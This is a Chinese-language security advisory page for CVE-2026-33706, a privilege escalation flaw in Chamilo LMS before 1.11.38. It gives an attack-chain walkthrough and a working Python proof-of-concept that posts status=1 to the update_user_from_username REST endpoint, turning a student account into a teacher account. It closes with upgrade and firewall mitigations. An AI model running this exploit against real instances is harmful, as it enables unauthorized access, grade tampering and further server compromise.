IPBUF安全漏洞报告
English
CVE-2026-33706 CVSS 7.1 高危

CVE-2026-33706 Chamilo LMS权限提升漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-33706
漏洞类型
权限提升
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Chamilo LMS

相关标签

权限提升Chamilo LMSAPI漏洞逻辑缺陷

漏洞概述

Chamilo LMS在1.11.38之前的版本中存在权限提升漏洞。由于系统对REST API端点`update_user_from_username`的校验不严,任何拥有有效API密钥的认证用户均可利用此漏洞。攻击者可以篡改自身的用户状态字段,将普通学生身份提升为教师或课程管理员,进而非法获取课程创建与管理的高级权限。

技术细节

该漏洞的核心原理在于Chamilo LMS的`update_user_from_username` REST API接口存在业务逻辑缺陷,未对用户状态字段的修改权限进行严格校验。在受影响版本中,系统机制允许拥有有效API Key的用户通过该接口直接更新自身属性,而忽略了属性变更的敏感性。攻击者首先注册一个普通学生账号(默认status为5),并在个人设置中启用REST API功能以获取密钥。随后,攻击者利用该密钥构造特定的HTTP请求发送至`update_user_from_username`端点,将请求体中的`status`参数强制修改为1(代表教师或课程管理员)。由于服务器端未校验当前用户是否有权提升权限,直接执行了数据库更新操作。成功利用后,攻击者即可获得管理员级别的课程控制权,造成严重的权限失控。

攻击链分析

STEP 1
步骤1:信息收集与账户注册
攻击者在目标Chamilo LMS平台注册一个普通学生账号(Student, status=5),并在个人设置中生成REST API访问密钥。
STEP 2
步骤2:构造恶意请求
攻击者使用获取的API Key,向`update_user_from_username`接口发送POST请求,请求中将`status`参数的值修改为1(Teacher/Course Manager)。
STEP 3
步骤3:执行权限提升
服务器端接收请求后,由于缺乏权限校验,直接更新数据库中该用户的权限状态,赋予其课程管理权限。
STEP 4
步骤4:维持访问与破坏
攻击者利用提升后的教师权限,创建恶意课程、篡改其他学生成绩或上传Webshell以进一步控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration TARGET_URL = "http://target-chamilo-instance/main/webservices/api/rest.php" API_KEY = "YOUR_STUDENT_API_KEY" USERNAME = "attacker_student" # Vulnerable payload # Status 1 usually represents Teacher or Course Manager in Chamilo payload = { "action": "update_user_from_username", "username": USERNAME, "status": "1", "api_key": API_KEY } try: print("[*] Attempting to exploit CVE-2026-33706...") response = requests.post(TARGET_URL, data=payload) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check if account status changed to Teacher.") print("[+] Response:", response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

Chamilo LMS < 1.11.38

防御指南

临时缓解措施
建议立即将Chamilo LMS升级到1.11.38版本以彻底修复此漏洞。如果暂时无法升级,应通过Web应用防火墙(WAF)拦截对`update_user_from_username`接口的非法修改请求,或在系统配置中禁用REST API功能,直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表